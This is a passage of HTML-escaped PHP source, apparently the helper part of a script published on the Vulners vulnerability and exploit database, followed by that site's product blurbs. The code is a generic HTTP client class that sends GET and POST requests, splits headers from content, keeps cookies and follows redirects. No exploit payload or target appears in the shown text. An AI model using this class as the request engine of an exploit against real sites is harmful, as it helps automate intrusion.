		return&nbsp;$this-&gt;sock();
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;sends&nbsp;the&nbsp;formed&nbsp;http&nbsp;packet&nbsp;with&nbsp;the
	&nbsp;*&nbsp;POST&nbsp;method.&nbsp;You&nbsp;can&nbsp;precise&nbsp;the&nbsp;port&nbsp;of&nbsp;the&nbsp;host.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;post(&quot;http://localhost/index.php&quot;,&quot;admin=1&amp;user=dark&quot;);
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$urlwithpath
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$postdata
	&nbsp;*&nbsp;@return&nbsp;$server_response
	&nbsp;*/	
	public&nbsp;function&nbsp;post($url,$data)
	{
		$this-&gt;target($url);
		$this-&gt;method=&quot;post&quot;;
		$this-&gt;data=$data;
		return&nbsp;$this-&gt;sock();
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;content&nbsp;of&nbsp;the&nbsp;server&nbsp;response
	&nbsp;*&nbsp;without&nbsp;the&nbsp;headers.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;getcontent($this-&gt;get(&quot;http://localhost/&quot;));
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this-&gt;getcontent();
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$server_response
	&nbsp;*&nbsp;@return&nbsp;$onlythecontent
	&nbsp;*/
	public&nbsp;function&nbsp;getcontent($code='')
	{
		if(empty($code))&nbsp;$code&nbsp;=&nbsp;$this-&gt;recv;
		$content&nbsp;=&nbsp;explode(&quot;\n&quot;,$code);
		$onlycode&nbsp;=&nbsp;'';
		for($i=1;$i&lt;count($content);$i++)
		{
			if(!preg_match(&quot;/^(\S*):/&quot;,$content[$i]))&nbsp;$ok&nbsp;=&nbsp;1;
			if($ok)&nbsp;$onlycode&nbsp;.=&nbsp;$content[$i].&quot;\n&quot;;
		}
		return&nbsp;$onlycode;
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;headers&nbsp;of&nbsp;the&nbsp;server&nbsp;response
	&nbsp;*&nbsp;without&nbsp;the&nbsp;content.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;getheader($this-&gt;post(&quot;http://localhost/x.php&quot;,&quot;x=1&amp;z=2&quot;));
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this-&gt;getheader();
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$server_response
	&nbsp;*&nbsp;@return&nbsp;$onlytheheaders
	&nbsp;*/
	public&nbsp;function&nbsp;getheader($code='')
	{
		if(empty($code))&nbsp;$code&nbsp;=&nbsp;$this-&gt;recv;
		$header&nbsp;=&nbsp;explode(&quot;\n&quot;,$code);
		$onlyheader&nbsp;=&nbsp;$header[0].&quot;\n&quot;;
		for($i=1;$i&lt;count($header);$i++)
		{
			if(!preg_match(&quot;/^(\S*):/&quot;,$header[$i]))&nbsp;break;
			$onlyheader&nbsp;.=&nbsp;$header[$i].&quot;\n&quot;;
		}
		return&nbsp;$onlyheader;
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;is&nbsp;called&nbsp;by&nbsp;the&nbsp;cookiejar()&nbsp;function.
	&nbsp;*&nbsp;It&nbsp;adds&nbsp;the&nbsp;value&nbsp;of&nbsp;the&nbsp;&quot;Set-Cookie&quot;&nbsp;header&nbsp;in&nbsp;the&nbsp;&quot;Cookie&quot;
	&nbsp;*&nbsp;header&nbsp;for&nbsp;the&nbsp;next&nbsp;request.&nbsp;You&nbsp;don't&nbsp;have&nbsp;to&nbsp;call&nbsp;it.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$server_response
	&nbsp;*/
	private&nbsp;function&nbsp;getcookie($code)
	{
		$carr&nbsp;=&nbsp;explode(&quot;\n&quot;,str_replace(&quot;\r\n&quot;,&quot;\n&quot;,$code));
		for($z=0;$z&lt;count($carr);$z++)
		{
			if(preg_match(&quot;/set-cookie:&nbsp;(.*)/i&quot;,$carr[$z],$cookarr))
			{
				$cookie[]&nbsp;=&nbsp;preg_replace(&quot;/expires=(.*)(GMT||UTC)(\S*)$/i&quot;,&quot;&quot;,preg_replace(&quot;/path=(.*)/i&quot;,&quot;&quot;,$cookarr[1]));
			}
		}

		for($i=0;$i&lt;count($cookie);$i++)
		{
			preg_match(&quot;/(\S*)=(\S*);/&quot;,$cookie[$i],$matches);
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$cookn&nbsp;=&nbsp;$matches[1];
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$cookv&nbsp;=&nbsp;$matches[2];
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;addcookie($cookn,$cookv);
		}
&nbsp;&nbsp;&nbsp;&nbsp;}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;is&nbsp;called&nbsp;by&nbsp;the&nbsp;get()/post()&nbsp;functions.
	&nbsp;*&nbsp;You&nbsp;don't&nbsp;have&nbsp;to&nbsp;call&nbsp;it.
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$urltarg
	&nbsp;*/
	private&nbsp;function&nbsp;target($urltarg)
	{
		if(!preg_match(&quot;/^http:\/\/(.*)\//&quot;,$urltarg))&nbsp;$urltarg&nbsp;.=&nbsp;&quot;/&quot;;
		$this-&gt;url=$urltarg;
		
		$array&nbsp;=&nbsp;explode(&quot;/&quot;,str_replace(&quot;http://&quot;,&quot;&quot;,preg_replace(&quot;/:(\d+)/&quot;,&quot;&quot;,$urltarg)));
		$this-&gt;host=$array[0];

		preg_match(&quot;/:(\d+)\//&quot;,$urltarg,$matches);
		$this-&gt;port=empty($matches[1])&nbsp;?&nbsp;80&nbsp;:&nbsp;$matches[1];
		
		$temp&nbsp;=&nbsp;str_replace(&quot;http://&quot;,&quot;&quot;,preg_replace(&quot;/:(\d+)/&quot;,&quot;&quot;,$urltarg));
		preg_match(&quot;/\/(.*)\//&quot;,$temp,$matches);
		$this-&gt;path=str_replace(&quot;//&quot;,&quot;/&quot;,&quot;/&quot;.$matches[1].&quot;/&quot;);
	
		if($this-&gt;port&nbsp;&gt;&nbsp;65535)&nbsp;die(&quot;Error:&nbsp;Invalid&nbsp;port&nbsp;number&quot;);
	}
	
	
	/**
	&nbsp;*&nbsp;If&nbsp;you&nbsp;call&nbsp;this&nbsp;function,&nbsp;the&nbsp;script&nbsp;will
	&nbsp;*&nbsp;extract&nbsp;all&nbsp;&quot;Set-Cookie&quot;&nbsp;headers&nbsp;values
	&nbsp;*&nbsp;and&nbsp;it&nbsp;will&nbsp;automatically&nbsp;add&nbsp;them&nbsp;into&nbsp;the&nbsp;&quot;Cookie&quot;&nbsp;header
	&nbsp;*&nbsp;for&nbsp;all&nbsp;next&nbsp;requests.
	&nbsp;*
	&nbsp;*&nbsp;$this-&gt;cookiejar(1);&nbsp;//&nbsp;enabled
	&nbsp;*&nbsp;$this-&gt;cookiejar(0);&nbsp;//&nbsp;disabled
	&nbsp;*&nbsp;
	&nbsp;*/
	public&nbsp;function&nbsp;cookiejar($code)
	{
		if($code===0)&nbsp;$this-&gt;cookiejar='';
		if($code===1)&nbsp;$this-&gt;cookiejar=1;
		else
		{
			$this-&gt;getcookie($code);
		}
	}


	/**
	&nbsp;*&nbsp;If&nbsp;you&nbsp;call&nbsp;this&nbsp;function,&nbsp;the&nbsp;script&nbsp;will
	&nbsp;*&nbsp;follow&nbsp;all&nbsp;redirections&nbsp;sent&nbsp;by&nbsp;the&nbsp;server.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;allowredirection(1);&nbsp;//&nbsp;enabled
	&nbsp;*&nbsp;$this-&gt;allowredirection(0);&nbsp;//&nbsp;disabled
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@return&nbsp;$this-&gt;get($locationresponse)
	&nbsp;*/
	public&nbsp;function&nbsp;allowredirection($code)
	{
		if($code===0)&nbsp;$this-&gt;allowredirection='';
		if($code===1)&nbsp;$this-&gt;allowredirection=1;
		else
		{
			if(preg_match(&quot;/(location|content-location|uri):&nbsp;(.*)/i&quot;,$code,$codearr))
			{
				$location&nbsp;=&nbsp;str_replace(chr(13),'',$codearr[2]);
				if(!eregi(&quot;://&quot;,$location))
				{
					return&nbsp;$this-&gt;get(&quot;http://&quot;.$this-&gt;host.$this-&gt;path.$location);
				}
				else
				{
					return&nbsp;$this-&gt;get($location);
				}
			}
			else
			{
				return&nbsp;$code;
			}
		}
	}
	
	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;reset&nbsp;some&nbsp;parameters:
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;reset(header);&nbsp;//&nbsp;headers&nbsp;cleaned
	&nbsp;*&nbsp;$this-&gt;reset(cookie);&nbsp;//&nbsp;cookies&nbsp;cleaned
	&nbsp;*&nbsp;$this-&gt;reset();&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;clean&nbsp;all&nbsp;parameters
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$func
	&nbsp;*/
	public&nbsp;function&nbsp;reset($func='')
	{
		switch($func)
		{
			case&nbsp;&quot;header&quot;:
			$this-&gt;header='';
			break;
			
			case&nbsp;&quot;cookie&quot;:
			$this-&gt;cookie='';
			break;
			
			default:
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;cookiejar='';
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;header='';
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;cookie='';
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;allowredirection='';&nbsp;
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;agent='';
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;
		}
	}
}

?&gt;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation